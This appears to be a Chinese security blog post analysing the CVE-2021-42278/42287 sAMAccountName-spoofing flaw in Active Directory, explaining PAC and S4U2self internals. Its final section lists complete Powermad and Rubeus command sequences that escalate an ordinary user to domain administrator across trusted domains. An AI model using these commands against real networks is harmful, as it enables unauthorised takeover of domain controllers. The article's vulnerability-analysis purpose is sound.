【技術分享】SAMAccountName Spoofing域內提權漏洞分析
0x01 漏洞描述
漏洞發布的時候一直有項目,沒時間去看這個漏洞,當時只大體看了一下代碼,只了解了一下具體利用跟流程,現在對此漏洞做一個分析,并看一下對于跨域此漏洞還能否利用。
Microsoft 發布了補丁解決Windows Active Directory 域控制器的兩個漏洞(CVE-2021–42278和CVE-2021–42287)。
CVE-2021–42278允許攻擊者使用計算機帳戶sAMAccountName欺騙來冒充域控制器,簡單來說就是AD沒有對域內機器賬戶做驗證,導致sAMAccountName后面沒有$也可以以機器用戶的身份申請票據。

CVE-2021-42287通過偽造域控的機器用戶(結尾沒有$)進行請求,之后刪除或修改用戶,請求 S4U2self 票據,DC在 TGS_REP 的階段找不到結尾沒有$的用戶后,DC會使用自己的密鑰加密 TGS Ticket ,提供一個屬于該賬戶的 PAC,抓取后就得到一個高權限ST。

https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e
https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041
0x02 漏洞流程
我們根據 @cube0x0 寫的利用腳本看一下如何利用之后再去進一步分析
首先創建了一個機器賬戶,如果創建的機器用戶名存在則不會創建并退出。

添加的機器用戶后面需要帶$

添加完用戶后清空SPN的值,那么為什么要清空SPN的值?后面再說

將上面創建的機器用戶名稱也就是samaccountname字段更改為域控的機器名稱(后面不加$)


請求tgt,獲取機器賬號的tgt


將samaccountname字段的值恢復為我們指定的值,以便在 KDC 查找時不會找到它


利用之前獲得的TGT票據,通過S4U2self協議向DC請求ST



0x03 漏洞原理
每個域用戶默認可以創建10個機器用戶

上面說到的sAMAccountName是什么
sAMAccountName是機器用戶中的屬性名
UserPrincipalName屬性:用戶的登錄名。該屬性由用戶主體名稱 (UPN) 組成,UPN由UPN 前綴(用戶帳戶名)和 UPN 后綴(DNS 域名)組成。一般為zhangsan@wjlab.com(用戶名@域名)。
sAMAccountName屬性:存儲用戶登錄名或用戶對象,該屬性是域用戶對象的必備屬性。SAMAccountName必須等于屬性“UserPrincipalName” 的前綴部分。不能超過20個字符,并且不允許使用以下字符:\ / [] :; | =,+ *?<> @“。
當我們創建一個機器用戶時,查看sAMAccountName屬性,后面是帶$的,并且查詢與域內用戶是查詢不到的,查詢域內機器用戶時才會查到


我們將sAMAccountName屬性值的$刪除掉,會發現查詢機器用戶后面的$也不見了,而查詢域用戶的時候會出現這個用戶名,并且查詢用戶的時候顯示用戶不存在,如果我們利用此漏洞之后查詢域內用戶的時候也會查詢到我們創建的機器用戶。

如果將sAMAccountName屬性值改為以存在的值則會顯示制定賬戶已存在,如果設置為不加$結尾但名字相同的值則會修改成功。


服務主體名稱 (SPN)
服務器上所運行服務的唯一標識,每個使用Kerberos的服務都需要一個SPN。比如我們想要訪問某一個服務時,系統會以當前用戶身份向域控制器查詢SPN為“服務”的記錄,找到SPN記錄后,用戶會再次與KDC進行通信,將KDC發放的TGT作為身份憑據發送給KDC,并將需要訪問的SPN發送給KDC。KDC中的身份驗證服務(AS)對TGT進行解密,確認無誤后TGS將允許訪問SPN所對應的服務的票據和該SPN對應的服務地址發送給用戶,用戶通過票據訪問服務。
那么我們為什么要清除SPN呢?因為更改 samAccountName 屬性將觸發對帳戶 SPN 的相應更改,更改它會失敗,因為此名稱的SPN已存在。為了偽造samAccountName,所以需要通過清除機器用戶的“servicePrincipalName”屬性來利用此漏洞(清除后SPN將不會再更新)。
添加機器用戶后會默認創建4個SPN值

如果不將SPN的servicePrincipalName屬性進行修改,我們把samAccountName改為域控機器用戶名(不加$)時會報錯。

PAC是什么
PAC由KDC在AS-REP的時候返回回來,PAC中主要包含用戶的信息以及組的信息。在域中不同權限的用戶訪問的server也是不一樣的,微軟為了區別用戶能訪問哪些server設置了PAC。KDC將PAC中的內容與要訪問server的ACL進行比較,查看是否有權限訪問此server。
PAC認證過程

客戶端發送AP-REQ消息向服務器請求身份驗證。
服務器操作系統將AP-REQ中的PAC簽名轉發給DC,在KERB_VERIFY_PAC消息中進行驗證。
DC驗證PAC,并將結果返回給服務器。
服務器對AP-REQ進行驗證,驗證成功后發送AP-REP。
PAC結構

PACTYPE是PAC的最頂層結構,它指定PAC_INFO_BUFFER數組中元素的數量。PACTYPE結構用作完整PAC數據的標頭。
在PACTYPE結構之后的是PAC_INFO_BUFFER結構的數組,每個PAC_INFO_BUFFER結構定義了PAC緩沖區的類型和字節偏移量。PAC_INFO_BUFFER數組沒有定義順序。因此,PAC_INFO_BUFFER緩沖區的順序沒有意義。但是,一旦密鑰分發中心(KDC)和服務器簽名生成,緩沖區的順序絕對不能改變,否則PAC內容的簽名驗證將失敗。
PACTYPE 結構定義:

cBuffers:用于定義Buffers 數組中的條目數。
Version:定義PAC版本。
Buffers (variable):PAC_INFO_BUFFER結構的數組。
PAC_INFO_BUFFER 結構定義:

ulType:描述了包含在Offset處的緩沖區中的數據類型。
0x00000001
登錄信息。PAC結構必須包含一個這種類型的緩沖區。必須忽略附加的登錄信息緩沖區。
0x00000002
憑證信息。PAC結構不應該包含多個這種類型的緩沖區。在接收時必須忽略第二個或后續的憑據信息緩沖區。
0x00000006
服務器校驗和。PAC結構必須包含一個這種類型的緩沖區。必須忽略額外的登錄服務器校驗和緩沖區。
0x00000007
KDC校驗和。PAC結構必須包含一個這種類型的緩沖區。必須忽略額外的KDC校驗和緩沖區。
0x0000000A
客戶端名稱和票據信息。PAC結構必須包含一個這種類型的緩沖區。必須忽略額外的客戶端和票據信息緩沖區。
0x0000000B
受約束的委派信息。PAC結構必須包含一個此類型的緩沖區,以便為S4U2proxy請求提供服務,否則不包含任何緩沖區。必須忽略其他受約束的委派信息緩沖區。
0x0000000C
用戶主體名(UPN)和域名系統(DNS)信息。PAC結構不應該包含多個這種類型的緩沖區。第二次或后續的UPN和DNS信息緩沖區必須在接收時被忽略。
0x0000000D
客戶索賠信息。PAC結構不應該包含多個這種類型的緩沖區。必須忽略其他客戶端索賠信息緩沖區。
0x0000000E
設備信息。PAC結構不應該包含多個這種類型的緩沖區。必須忽略附加的設備信息緩沖區。
0x0000000F
設備聲明信息。PAC結構不應該包含多個這種類型的緩沖區。必須忽略其他設備聲明信息緩沖區。
0x00000010
票務校驗和。PAC結構不應該包含一個以上的這種類型的緩沖區。必須忽略額外的票證校驗和緩沖區
cbBufferSize:包含位于Offset的PAC中緩沖區的字節大小。
Offset:包含從PACTYPE結構開始到緩沖區開始的偏移量(以字節為單位)。數據偏移量必須是8的倍數。
KERB_VALIDATION_INFO 結構定義了DC提供的用戶登錄和授權信息,指向KERB_VALIDATION_INFO結構體的指針被序列化為一個字節數組,然后放在最頂層PACTYPE結構體的Buffers數組之后,在Buffers數組中相應PAC_INFO_BUFFER結構體的offset字段中指定的偏移量處。PAC_INFO_BUFFER結構對應的ulType字段設置為0x00000001,定義了 DC 提供的用戶登錄信息。
KERB_VALIDATION_INFO 結構定義:

PAC整體是一個AuthorizationData結構。外層ad-type為aD-IF-RELEVANT,ad-data內部也是一個AuthorizationData結構,內部ad-type為aD-WIN2K-PAC,而內部的ad-data為一個PACTYPE的結構體和幾個PAC_INFO_BUFFER 結構數組。

申請的PAC為機器用戶

可以看到域用戶組的SID后綴值為513,機器用戶組的SID后綴為515,域管組的SID后綴為512,所以上圖PAC中顯示的組為機器用戶的組。



S4U是什么
微軟在windows server 2003中引入了約束委派,對Kerberos協議進行了拓展,引入了S4U,其中S4U支持兩個子協議:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),這兩個擴展都允許服務代表用戶從KDC請求票證。S4U2self擴展允許服務代表特定的某用戶向KDC請求該服務的可轉發票據TGT。S4U2proxy可以以用戶的名義請求其它服務的ST。想要使用s4u2self進行請求的前提條件是服務已經有通過KDC驗證的TGT,約束委派就是限制了S4U2proxy擴展的范圍。
下面是微軟官方關于 S4U2self 和 S4U2proxy 工作過程的示意圖,虛線上面為S4U2self,虛線下面為S4U2proxy,S4U2proxy主要用于服務委派。漏洞主要出在S4U2self。

PA-FOR-USER padata類型定義:

PA-FOR-USER字段是S4U2Self協議才有的字段

如果沒有用到S4U2Self協議是pA-PAC-OPTIONS字段

KDC收到客戶端發來的TGS-REQ S4U2Self協議,會重新生成PAC,然后放在ST服務票據中,并不是復制之前TGT里的PAC。
0x04 漏洞流程分析
使用上面的利用腳本進行抓包分析,此漏洞是利用kerberos流程中,處理S4U2Self時的邏輯問題和重新生成高權限的PAC問題。

AS-REQ:
可以看到在AS-REQ 里是允許攜帶pac的,并不是像利用工具名寫的no pac。

AS-REP:
AS-REP為正常請求的返回包

我們看一下里面PAC信息,這里不具體說了,可以看一下上面的PAC結構。可以看到現在請求的是機器用戶,并且Acct Name字段為域控的機器用戶名(不加$)

TGS-REQ:
可以看到,具有SPN的賬戶也就是我們的機器賬戶,是以Administrator的身份請求服務票據


TGS-REP:
來看一下TGS-REP中的PAC內容,Acct Name變成了Administrator,User RID為500,500為Administrator專有的sid后綴。Group RID為513,513為域用戶組。

那么為什么Group RID為513而不是512域管組呢?我們看Administrator的屬性可以發現,Administrator的主要組為Domain Users ,而不是Domain Admins ,所以在TGS-REP中顯示的是513而不是512。

我們將AS-REP的PAC與TGS-REP中的PAC進行對比可以發現AS-REP返回的PAC的權限為普通機器用戶,而TGS-REP返回的PAC為Administrator權限

所以到這里這個漏洞是因為申請TGT后原來的機器賬戶消失,TGS找不到這個機器賬戶所以自動使用DC$的身份去創建ST,于是就生成了域管權限的ST。
總結
所以漏洞其實是首先創建一個機器用戶。之后清空SPN為了不與域控的SPN重復,導致從而不能修改sAMAccountName。使用CVE-2021-42278對機器用戶的sAMAccountName進行修改,修改為域控同樣的機器名(不加$),然后利用KDC處理S4U2Self請求時的漏洞進行重新生成PAC導致權限提升。
0x05 跨域
兩個域為雙向信任關系
A域:wjlab3.com
B域:wjlab2.com
A域域控:WIN-Q4E825O0UIA.wjlab3.com
B域域控:wjlab2dc1.wjlab2.com
假設現在擁有A域的普通域賬號qt\wjlab3.com
我們測試的時候發現使用在A域與B域為雙向信任關系的時候,通過A域的普通域賬號可以在B域內創建機器用戶
我們使用Powermad.ps1來進行演示
在A域內普通用戶機器上,以當前普通域賬號qt\wjlab3.com 在B域內創建一個qtwjlab
New-MachineAccount -MachineAccount qtwjlab -Domain wjlab2.com -Password $(ConvertTo-SecureString "qwer1234" -AsPlainText -Force)

清空qtwjlab的SPN信息
Set-DomainObject "CN=qtwjlab,CN=Computers,DC=wjlab2,DC=com" -Clear 'serviceprincipalname' -Verbose

修改機器名稱為B域域控的機器名
Set-MachineAccountAttribute -MachineAccount "qtwjlab" -Value "wjlab2dc1" -domain wjlab2.com -Attribute samaccountname -Verbose

向B域中請求的更改為域控名samaccountname的tgt
Rubeus.exe asktgt /user:"wjlab2dc1" /password:"qwer1234" /domain:"wjlab2.com" /dc:"wjlab2dc1.wjlab2.com" /nowrap

修改機器名稱改為隨便的用戶名
Set-MachineAccountAttribute -MachineAccount "qtwjlab" -Value "qtwjlab" -domain wjlab2.com -Attribute samaccountname -Verbose

獲取目標ST
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/wjlab2dc1.wjlab2.com" /dc:"wjlab2dc1.wjlab2.com" /ptt /ticket:[Base64 TGT]

通過A域請求B域

子父域關系
父域:wjlab2.com
子域:user.wjlab2.com
父域域控:wjlab2dc1.wjlab2.com
子域域控:WIN-IAIF2RCT7UL.user.wjlab2.com
我們從子域的一臺域內機器進行測試,用戶為子域內的用戶qq
在子域內普通用戶機器上,以當前普通域賬號qq\user.wjlab2.com 在父域內創建一個qtwjlab002
New-MachineAccount -MachineAccount qtwjlab002 -Domain wjlab2.com -Password $(ConvertTo-SecureString "qwer1234" -AsPlainText -Force)

清空父域中的qtwjlab002的SPN信息
Set-DomainObject "CN=qtwjlab002,CN=Computers,DC=wjlab2,DC=com" -Clear 'serviceprincipalname' -Verbose

修改機器名稱為父域域控的機器名
Set-MachineAccountAttribute -MachineAccount "qtwjlab002" -Value "wjlab2dc1" -domain wjlab2.com -Attribute samaccountname -Verbose

向父域中請求的更改為域控名samaccountname的tgt
Rubeus.exe asktgt /user:"wjlab2dc1" /password:"qwer1234" /domain:"wjlab2.com" /dc:"wjlab2dc1.wjlab2.com" /nowrap

修改機器名稱改為隨便的用戶名
Set-MachineAccountAttribute -MachineAccount "qtwjlab002" -Value "qtwjlab002" -domain wjlab2.com -Attribute samaccountname -Verbose

獲取目標ST
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/wjlab2dc1.wjlab2.com" /dc:"wjlab2dc1.wjlab2.com" /ptt /ticket:[Base64 TGT]

通過子域普通用戶請求父域域控

在這里我們可以看到此漏洞可以進行跨域利用,主要是因為通過信任域,在一個域中可以向另一個域進行域機器用戶創建并修改其屬性,從而導致可以利用。那么如果msDS-AdditionalDnsHostName 屬性為0的話,那就無法創建機器用戶,這個漏洞就利用不了了嗎?如果域內管理員配置不當,導致某個域用戶的ACL擁有了修改機器用戶屬性的權限,那么只要找到此用戶就可以使用此用戶進行利用。
0x06 參考
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://exploit.ph/more-samaccountname-impersonation.html